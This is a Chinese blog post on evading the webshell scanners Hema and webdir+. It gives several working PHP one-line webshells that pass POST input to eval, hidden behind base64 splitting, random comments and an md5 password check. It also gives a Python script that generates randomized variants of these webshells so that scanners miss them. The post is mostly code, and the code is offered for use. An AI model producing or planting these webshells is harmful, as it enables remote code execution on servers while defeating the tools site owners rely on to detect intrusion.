0x00:简介

上一篇文章写了一下关于D盾的webshell绕过,为什么是关于D盾呢,因为在我以前的认知中,D盾就是最厉害的了,但是我果然孤陋寡闻,一个叫河马和一个叫webdir+的webshell查杀工具又给了我一棒子... 但是人嘛 就要越挫越勇。

0x01:探究免杀

这里只讨论河马和webdir+,再有更强的希望各位可以在评论给出。

绕过河马

首先我们拿出之前的样本:

<?php
class YHUV{
        public $BSFRM = null;
        public $YVMQFW = null;
        function __construct(){
        $this->BSFRM='ZXZhbCgkX1BPU1RbYV0pOw==';
        $this->YVMQFW = @base64_decode( $this->BSFRM );
        @eval("/*rEgV_Cd*/".$this->YVMQFW."/*rEgV_Cd*/");
        }}
new YHUV();
?>

直接拿去河马查杀一下,

依然没给出我们为什么会被杀。

河马属于传统webshell查杀器,所以依然是依靠正则类规则对代码进行查杀,所以FUZZ依然有效,

我们的马比较突出的点在于eval和那串base64后的字符,我们可以使用控制变量法分别测试。首先由于eval是构造器,没法像assert一样随意拆分组合,且适配php7.1以上环境必须使用eval,所以关于eval这个我们其实是没什么好点的办法替换的,所以只能先对base64关键字进行探测。

我们直接使用明文

<?php
class YHUV{
        public $BSFRM = null;
        public $YVMQFW = null;
        function __construct(){
        $this->BSFRM=$_POST['a'];
        @eval("/*rEgV_Cd*/".$this->BSFRM."/*rEgV_Cd*/");
        }}
new YHUV();
?>

压缩上传查杀

???

好心办坏事?当初多想了一步结果就这么栽了,虽然现在过了河马,但是总不能D盾又过不去是吧,我们用D盾杀一下

当然肯定能过的,因为我们绕过D盾和它有没有base64编码是不相干的。

至此我们绕过了河马

绕过webdir+

接下来就是比较恶心的一个东西了,这玩意儿居然拿沙盒跑

我们拿绕过河马的马跑一下,这里的检测速度之所以比较慢就是因为它在跑沙盒,这种方式确实比传统的查杀工具难搞很多,但是它并不完美。

果不其然也被杀了

接下来就是探索的时刻了

由于eval依然无法动摇,所以我依旧从"$_POST['a']"下手,首先这串字符编码后是过不去webdir+的,但是不编码也过不去,我猜测可能是沙盒在模拟运行的时候拼接出了eval($_POST['a']),导致被杀,那我使用md5做密钥它总跑不出来吧。修改代码如下:

<?php
class YHUV{
        public $BSFRM = null;
        public $YVMQFW = null;
        function __construct(){
            if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
                $this->BSFRM=$_POST['a'];
                @eval("/*rEgV_Cd*/".$this->BSFRM."/*rEgV_Cd*/");
            }
        }}
new YHUV();
?>

我们继续让他杀

嘻嘻,还是被杀了,我反而很高兴,那这也说明一个问题,你并没有顺利执行过我的马,那说明我eval()里的东西一直都是安全的,那么不安全的肯定就是"$_POST['a']"这玩意儿了,这个怎么解决呢?

base64编码不是加密,所以他是可以被解的,webdir+很可能就是直接拉出来我的base64payload去解了一下,那怎么办呢?这就要借助到一个化整为零的思路,

我完整的base64你能解出来是吧,但是你又不能模拟运行我的马是吧,那我直接把base64后的payload拆了不就行了,

<?php
class DWSG{

        public $m = null;
        public $n = null;
        public $x = null;
        function __construct(){
        $this->m = 'ZXZhbCgkX1BPU';
        $this->x = '1RbYV0pOw==';
        $this->n = @base64_decode($this->m.$this->x);

        @eval("/*lzafNmH*/".$this->n."/*lzafNmH*/");
        }}
new DWSG();
?>

继续查杀

如果出现被杀的情况,可以自行将base64内的值换一下,比如第一个参数多点,第二个参数少点再或者多拆几个参数,又或者各位可以自己加个md5认证,都是可以的。

0x03:代码

代码只需做少许修改即可

import random

#author: pureqh
#github: https://github.com/pureqh/webshell


shell = '''<?php
class {0}{3}
        public ${1} = null;
        public ${2} = null;
        public ${6} = null;
        function __construct(){3}
        $this->{1} = 'ZXZhbCgkX1BPU1RbYV';
        $this->{6} = '0pOw==';
        $this->{2} = @base64_decode($this->{1}.$this->{6});
        @eval({5}.$this->{2}.{5});
        {4}{4}
new {0}();
?>'''



def random_keys(len):
    str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))

def random_name(len):
    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))  
   
def build_webshell():
    className = random_name(4)
    parameter1 = random_name(5)
    parameter2 = random_name(6)
    lef = '''{'''
    rig = '''}'''
    disrupt = "\"/*"+random_keys(7)+"*/\""
    parameter3 = random_name(6)
    shellc = shell.format(className,parameter1,parameter2,lef,rig,disrupt,parameter3)
    return shellc


if __name__ == '__main__':
    print (build_webshell())

验证:D盾

河马:

webdir:

安全狗:不测 这玩意儿闭着眼也能过

能否执行:

代码将会收录至:https://github.com/pureqh/webshell

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注